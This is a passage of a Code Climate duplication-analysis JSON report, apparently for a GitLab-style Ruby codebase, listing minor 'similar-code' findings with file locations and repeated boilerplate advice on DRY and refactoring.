[Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"84368938cf4e38b28be7f2494ab7dded","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/helpers/preferences_helper.rb","lines":{"begin":13,"end":22}},"remediation_points":170000,"other_locations":[{"path":"app/models/prometheus_metric.rb","lines":{"begin":31,"end":43}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 26**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"60bfb34cb2ceca3dea92da73de2720d1","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/models/repository.rb","lines":{"begin":826,"end":838}},"remediation_points":170000,"other_locations":[{"path":"app/models/repository.rb","lines":{"begin":842,"end":854}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 26**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"f850bbad5c6c0dbf53dcda181b0fe2ef","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/models/repository.rb","lines":{"begin":842,"end":854}},"remediation_points":170000,"other_locations":[{"path":"app/models/repository.rb","lines":{"begin":826,"end":838}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 26**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"f850bbad5c6c0dbf53dcda181b0fe2ef","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/models/user.rb","lines":{"begin":1195,"end":1197}},"remediation_points":170000,"other_locations":[{"path":"app/models/user.rb","lines":{"begin":1201,"end":1203}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 26**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"79536c6f949eba9317227c4e88951f1f","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/models/user.rb","lines":{"begin":1201,"end":1203}},"remediation_points":170000,"other_locations":[{"path":"app/models/user.rb","lines":{"begin":1195,"end":1197}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 26**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"79536c6f949eba9317227c4e88951f1f","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/presenters/project_presenter.rb","lines":{"begin":233,"end":242}},"remediation_points":170000,"other_locations":[{"path":"app/presenters/project_presenter.rb","lines":{"begin":263,"end":272}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 26**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"c2d74780d6448543b93af9ac07770eb6","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/presenters/project_presenter.rb","lines":{"begin":263,"end":272}},"remediation_points":170000,"other_locations":[{"path":"app/presenters/project_presenter.rb","lines":{"begin":233,"end":242}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 26**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"c2d74780d6448543b93af9ac07770eb6","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/services/protected_branches/legacy_api_update_service.rb","lines":{"begin":18,"end":22}},"remediation_points":170000,"other_locations":[{"path":"app/services/protected_branches/legacy_api_update_service.rb","lines":{"begin":25,"end":29}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 26**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"2a21c2dc3f646e0e31fff25ee48b9b44","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/services/protected_branches/legacy_api_update_service.rb","lines":{"begin":25,"end":29}},"remediation_points":170000,"other_locations":[{"path":"app/services/protected_branches/legacy_api_update_service.rb","lines":{"begin":18,"end":22}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 26**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"2a21c2dc3f646e0e31fff25ee48b9b44","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/services/quick_actions/interpret_service.rb","lines":{"begin":222,"end":229}},"remediation_points":170000,"other_locations":[{"path":"app/services/quick_actions/interpret_service.rb","lines":{"begin":276,"end":283}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 26**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"c5f1ca2a225a96cfa3b4fc88b12b03b0","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/services/quick_actions/interpret_service.rb","lines":{"begin":276,"end":283}},"remediation_points":170000,"other_locations":[{"path":"app/services/quick_actions/interpret_service.rb","lines":{"begin":222,"end":229}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 26**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"c5f1ca2a225a96cfa3b4fc88b12b03b0","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/branches.rb","lines":{"begin":71,"end":75}},"remediation_points":170000,"other_locations":[{"path":"lib/api/triggers.rb","lines":{"begin":12,"end":16}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 26**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"6da3752f53f9199ec80a8ad0d2b565c1","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/triggers.rb","lines":{"begin":12,"end":16}},"remediation_points":170000,"other_locations":[{"path":"lib/api/branches.rb","lines":{"begin":71,"end":75}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 26**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"2a596f82671816ebb68812ebe7bf8287","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/variables.rb","lines":{"begin":31,"end":38}},"remediation_points":170000,"other_locations":[{"path":"lib/api/group_variables.rb","lines":{"begin":31,"end":38}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can 